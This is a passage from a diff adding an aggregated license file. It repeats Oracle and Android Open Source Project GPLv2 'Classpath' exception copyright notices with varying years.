+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2005, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2005, 2012, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2005, 2013 Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2005, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2007, 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2008, 2009, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 2009, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1994, 1995, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1994, 1998, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1994, 2000, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1994, 2001, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1994, 2002, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1994, 2003, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1994, 2004, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1994, 2005, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1994, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1994, 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1994, 2009, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1994, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1994, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1994, 2013, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1995, 1996, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1995, 1997, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1995, 1999, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1995, 2000, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1995, 2001, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1995, 2003, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1995, 2004, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1995, 2005, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
